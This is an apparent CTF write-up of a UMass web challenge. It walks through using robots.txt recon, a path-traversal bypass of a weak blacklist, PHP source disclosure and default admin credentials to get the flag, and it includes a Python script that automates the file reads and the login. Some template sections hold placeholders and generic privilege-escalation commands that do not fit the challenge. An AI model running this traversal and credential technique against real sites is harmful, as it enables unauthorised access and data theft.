← Back to Writeups
HTBEasyWeb

Brick by Brick

D3v0o0Nu119/2/20263 min read
#web#htb#easy#credential_reuse#hex_to_ascii#lfi_source_disclosure#path_traversal_bypass#robots_txt_recon#uart_frame_decoding

Brick by Brick

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: credential_reuse, hex_to_ascii, lfi_source_disclosure, path_traversal_bypass, robots_txt_recon, uart_frame_decoding

Summary

Task: a PHP site exposed internal docs in robots.txt and a vulnerable ?file= reader under /internal-docs/. Solution: path traversal disclosed source files, revealing the hidden admin dashboard, default credentials, and the hardcoded flag.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_brick_by_brick
  • Tags: lfi, path_traversal, php, source_code_disclosure, robots_txt, default_credentials, uart, logic_analyzer, csv, serial_capture
  • Indicators: robots.txt exposes internal documentation paths, file read endpoint uses ?file= with local path concatenation, Blacklist blocks only /etc/passwd instead of normalizing traversal, PHP source disclosure reveals hidden routes and hardcoded credentials
  • Source: 20260411_umasscybersec_brick_by_brick.md

Foothold

Vulnerability / Misconfiguration

  1. credential_reuse
  2. hex_to_ascii
  3. lfi_source_disclosure
  4. path_traversal_bypass
  5. robots_txt_recon
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • credential_reuse
  • hex_to_ascii
  • lfi_source_disclosure
  • path_traversal_bypass
  • robots_txt_recon
  • uart_frame_decoding
  • Tags: lfi, path_traversal, php, source_code_disclosure, robots_txt, default_credentials, uart, logic_analyzer, csv, serial_capture

Original Writeup

<details><summary>Click to expand original content</summary>

Brick by Brick — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: a PHP website exposed internal documentation via robots.txt. Those documents described a file-read endpoint that could be abused with path traversal to read application source code, discover a hidden admin dashboard, and recover both credentials and the flag.

Analysis

The main clue was robots.txt, which pointed to /internal-docs/. One internal document described a file read feature that accepted ?file=.

Reading index.php showed the server prepended /var/www/html/ to the user-controlled filename and only blocked inputs starting with /etc/passwd. Because the application did not canonicalize the path, traversal sequences such as ../ still worked, giving a local file inclusion / arbitrary file read primitive.

Using that primitive on config.php revealed the hidden route /dashboard-admin.php. Reading that file then exposed default credentials administrator / administrator and the same flag constant returned after login.

Solution

  1. Request robots.txt and discover /internal-docs/.
  2. Read the internal documentation and identify the vulnerable ?file= endpoint.
  3. Use traversal to read index.php and confirm weak blacklist-based filtering.
  4. Read config.php to recover the hidden admin dashboard path.
  5. Read dashboard-admin.php to obtain the default credentials and the flag constant.
  6. Log in with administrator / administrator and retrieve the flag from the dashboard.
python
#!/usr/bin/env python3
import re
import requests

BASE = "http://brick-by-brick.web.ctf.umasscybersec.org"
SESSION = requests.Session()

def read_file(path: str) -> str:
    r = SESSION.get(f"{BASE}/internal-docs/view.php", params={"file": path}, timeout=10)
    r.raise_for_status()
    return r.text

index_php = read_file("../../../../var/www/html/index.php")
print("[+] index.php read:", "?file=" in index_php)

config_php = read_file("../../../../var/www/html/config.php")
dashboard = re.search(r"dashboard-admin\.php", config_php)
print("[+] Hidden dashboard:", dashboard.group(0) if dashboard else "not found")

dashboard_php = read_file("../../../../var/www/html/dashboard-admin.php")
flag = re.search(r"UMASS\{[^}]+\}", dashboard_php)
print("[+] Flag from source:", flag.group(0) if flag else "not found")

login = SESSION.post(
    f"{BASE}/dashboard-admin.php",
    data={"username": "administrator", "password": "administrator"},
    timeout=10,
)
login.raise_for_status()
flag_page = re.search(r"UMASS\{[^}]+\}", login.text)
print("[+] Flag after login:", flag_page.group(0) if flag_page else "not found")
</details>

signed by XESXOR